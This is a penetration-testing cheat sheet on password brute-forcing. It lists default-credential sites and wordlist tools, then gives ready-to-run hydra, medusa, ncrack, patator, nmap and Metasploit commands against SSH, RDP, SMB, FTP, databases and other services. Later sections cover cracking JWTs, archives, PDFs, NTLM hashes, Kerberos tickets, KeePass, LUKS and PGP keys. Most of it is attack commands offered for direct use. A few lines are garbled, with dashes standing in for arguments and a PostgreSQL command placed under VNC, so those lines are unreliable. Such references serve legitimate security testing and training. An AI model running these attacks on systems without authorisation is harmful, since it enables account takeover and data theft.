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# Brute Force - CheatSheet
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## Default Credentials
**Search in google** for default credentials of the technology that is being used, or **try this links** :
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* [**https://github.com/ihebski/DefaultCreds-cheat-sheet** ](https://github.com/ihebski/DefaultCreds-cheat-sheet )
* [**http://www.phenoelit.org/dpl/dpl.html** ](http://www.phenoelit.org/dpl/dpl.html )
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm** ](http://www.vulnerabilityassessment.co.uk/passwordsC.htm )
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/** ](https://192-168-1-1ip.mobi/default-router-passwords-list/ )
* [**https://datarecovery.com/rd/default-passwords/** ](https://datarecovery.com/rd/default-passwords/ )
* [**https://bizuns.com/default-passwords-list** ](https://bizuns.com/default-passwords-list )
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv** ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv )
* [**https://github.com/Dormidera/WordList-Compendium** ](https://github.com/Dormidera/WordList-Compendium )
* [**https://www.cirt.net/passwords** ](https://www.cirt.net/passwords )
* [**http://www.passwordsdatabase.com/** ](http://www.passwordsdatabase.com/ )
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## **Create your own Dictionaries**
Find as much information about the target as you can and generate a custom dictionary. Tools that may help:
### Crunch
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```bash
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crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
```bash
cewl example.com -m 5 -w words.txt
```
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### [CUPP](https://github.com/Mebus/cupp)
Generate passwords based on your knowledge of the victim \(names, dates...\)
```text
python3 cupp.py -h
```
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### [pydictor](https://github.com/LandGrey/pydictor)
### Wordlists
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* [**https://github.com/danielmiessler/SecLists** ](https://github.com/danielmiessler/SecLists )
* [**https://github.com/Dormidera/WordList-Compendium** ](https://github.com/Dormidera/WordList-Compendium )
* [**https://github.com/kaonashi-passwords/Kaonashi** ](https://github.com/kaonashi-passwords/Kaonashi )
* [**https://github.com/google/fuzzing/tree/master/dictionaries** ](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md )
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm** ](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm )
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## Services
Ordered alphabetically by service name.
### AFP
```bash
nmap -p 548 --script afp-brute < IP >
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE < PATH_PASSWDS >
msf> set USER_FILE < PATH_USERS >
msf> run
```
### AJP
```bash
nmap --script ajp-brute -p 8009 < IP >
```
### Cassandra
```bash
nmap --script cassandra-brute -p 9160 < IP >
```
### CouchDB
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
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hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Registry
```text
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
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```
### Elasticsearch
```text
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hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
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```
### FTP
```bash
hydra -l root -P passwords.txt [-t 32] < IP > ftp
ncrack -p 21 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M ftp
```
### HTTP Generic Brute
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#### [**WFuzz**](pentesting-web/web-tool-wfuzz.md)
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### HTTP Basic Auth
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
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# Use https-get mode for httpS
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medusa -h < IP > -u < username > -P < passwords.txt > -M http -m DIR:/path/to/auth -T 10
```
### HTTP - Post Form
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^& password=^PASS^& enter=Sign+in:Login name or password is incorrect" -V
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# Use https-post-form mode for httpS
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```
For http**s** you have to change from "http-post-form" to "**https-post-form"**
### **HTTP - CMS --** \(W\)ordpress, \(J\)oomla or \(D\)rupal or \(M\)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
```
### IMAP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f < IP > imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f < IP > imap -V
nmap -sV --script imap-brute -p < PORT > < IP >
```
### IRC
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p < PORT > < IP >
```
### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 < IP >
```
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### JWT
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt < JWT token >
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
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### LDAP
```bash
nmap --script ldap-brute -p 389 < IP >
```
### Mongo
```bash
nmap -sV --script mongodb-brute -n -p 27017 < IP >
use auxiliary/scanner/mongodb/mongodb_login
```
### MySQL
```bash
hydra -L usernames.txt -P pass.txt < IP > mysql
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
```
### OracleSQL
```bash
patator oracle_login sid=< SID > host=< IP > user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS < IP >
msf> set RPORT 1521
msf> set SID < SID >
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS < IP >
msf> set RPORTS 1521
msf> set SID < SID >
#nmap fails sometimes for some reson executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=< SID > < IP >
```
In order to use **oracle\_login** with **patator** you need to **install** :
```bash
pip3 install cx_Oracle --upgrade
```
[Offline OracleSQL hash bruteforce ](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force ) \(**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3** \):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f < IP > pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f < IP > pop3 -V
```
### PostgreSQL
```bash
hydra -L /root/Desktop/user.txt – < IP > postgres
medusa -h < IP > – – –
ncrack – – – < IP > :5432
patator pgsql_login host=< IP > user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 < IP >
```
### PPTP
You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/ ](https://http.kali.org/pool/main/t/thc-pptp-bruter/ )
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter – < Username > < IP >
```
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### RDP
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```bash
ncrack -vv --user < User > -P pwds.txt rdp://< IP >
hydra -V -f -L < userslist > -P < passwlist > rdp://< IP >
```
### Redis
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 < IP >
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hydra – < IP > :< PORT > # 6379 is the default
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```
### Rexec
```bash
hydra -l < username > -P < password_file > rexec://< Victim-IP > -v -V
```
### Rlogin
```bash
hydra -l < username > -P < password_file > rlogin://< Victim-IP > -v -V
```
### Rsh
```bash
hydra -L < Username_list > rsh://< Victim_IP > -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind ](http://pentestmonkey.net/tools/misc/rsh-grind )
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 < IP >
```
### RTSP
```bash
hydra -l root -P passwords.txt < IP > rtsp
```
### SNMP
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute < target > [--script-args snmp-brute.communitiesdb=< wordlist > ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt < IP >
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
### SMB
```bash
nmap --script smb-brute -p 445 < IP >
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
```
### SMTP
```bash
hydra -l < username > -P /path/to/passwords.txt < IP > smtp -V
hydra -l < username > -P /path/to/passwords.txt -s 587 < IP > -S -v -V #Port 587 for SMTP with SSL
```
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### SOCKS
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 < IP >
```
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### SQL Server
```bash
#Use the NetBIOS name of the machine as domain
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crackmapexec mssql < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
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hydra -L /root/Desktop/user.txt – < IP > mssql
medusa -h < IP > – – –
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts < host > #Use domain if needed. Be carefull with the number of password in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### SSH
```bash
hydra -l root -P passwords.txt [-t 32] < IP > ssh
ncrack -p 22 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M ssh
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patator ssh_login host=< ip > port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
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```
### Telnet
```bash
hydra -l root -P passwords.txt [-t 32] < IP > telnet
ncrack -p 23 --user root -P passwords.txt < IP > [-T 5]
medusa -u root -P 500-worst-passwords.txt -h < IP > -M telnet
```
### VNC
```bash
hydra -L /root/Desktop/user.txt – < PORT > < IP > vnc
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medusa -h < IP > – –
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ncrack -V --user root -P /root/Desktop/pass.txt < IP > :>POR>T
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patator vnc_login host=< IP > password=FILE0 0=/root/Desktop/pass.txt – – –
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nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 < IP >
```
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### Winrm
```bash
crackmapexec winrm < IP > -d < Domain Name > -u usernames.txt -p passwords.txt
```
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## Local
### Online cracking databases
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* [~~http://hashtoolkit.com/reverse-hash?~~ ](http://hashtoolkit.com/reverse-hash? ) \(MD5 & SHA1\)
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* [https://www.onlinehashcrack.com/ ](https://www.onlinehashcrack.com/ ) \(Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...\)
* [https://crackstation.net/ ](https://crackstation.net/ ) \(Hashes\)
* [https://md5decrypt.net/ ](https://md5decrypt.net/ ) \(MD5\)
* [https://gpuhash.me/ ](https://gpuhash.me/ ) \(Hashes and file hashes\)
* [https://hashes.org/search.php ](https://hashes.org/search.php ) \(Hashes\)
* [https://www.cmd5.org/ ](https://www.cmd5.org/ ) \(Hashes\)
* [https://hashkiller.co.uk/Cracker ](https://hashkiller.co.uk/Cracker ) \(MD5, NTLM, SHA1, MySQL5, SHA256, SHA512\)
* [https://www.md5online.org/md5-decrypt.html ](https://www.md5online.org/md5-decrypt.html ) \(MD5\)
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* [http://reverse-hash-lookup.online-domain-tools.com/ ](http://reverse-hash-lookup.online-domain-tools.com/ )
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Check this out before trying to bruteforce a Hash.
### ZIP
```bash
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#sudo apt-get install fcrackzip
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fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
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```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
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### 7z
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didnt worked well, john didnt know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=< PASSWORD > --decrypt encrypted.pdf plaintext.pdf
```
### JWT
```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack
#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```
### NTLM cracking
```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
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john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
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hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```
### Keepass
```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k < file-password > file.kdbx > hash # The keepas is also using a file as a needed credential
#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```
### Keberoasting
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Lucks image
#### Method 1
Install: [https://github.com/glv2/bruteforce-luks ](https://github.com/glv2/bruteforce-luks )
```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
#### Method 2
```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
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hashcat -m 14600 -a 0 luckshash wordlists/rockyou.txt
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cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
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Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1 ](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1 )
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### Mysql
```bash
#John hash format
< USERNAME > :$mysqlna$< CHALLENGE > *< RESPONSE >
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
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### PGP/GPG Private key
```bash
gpg2john private_pgp.key #This will generate the hash, save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
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## Tools
**Hash examples:** [https://openwall.info/wiki/john/sample-hashes ](https://openwall.info/wiki/john/sample-hashes )
### Hash-identifier
```bash
hash-identifier
> <HASH>
```
### John mutation
Read _**/etc/john/john.conf**_ and configure it
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
### Hashcat
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
Cracking Linux Hashes - /etc/shadow file
```text
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
Cracking Windows Hashes
```text
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
Cracking Common Application Hashes
```text
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
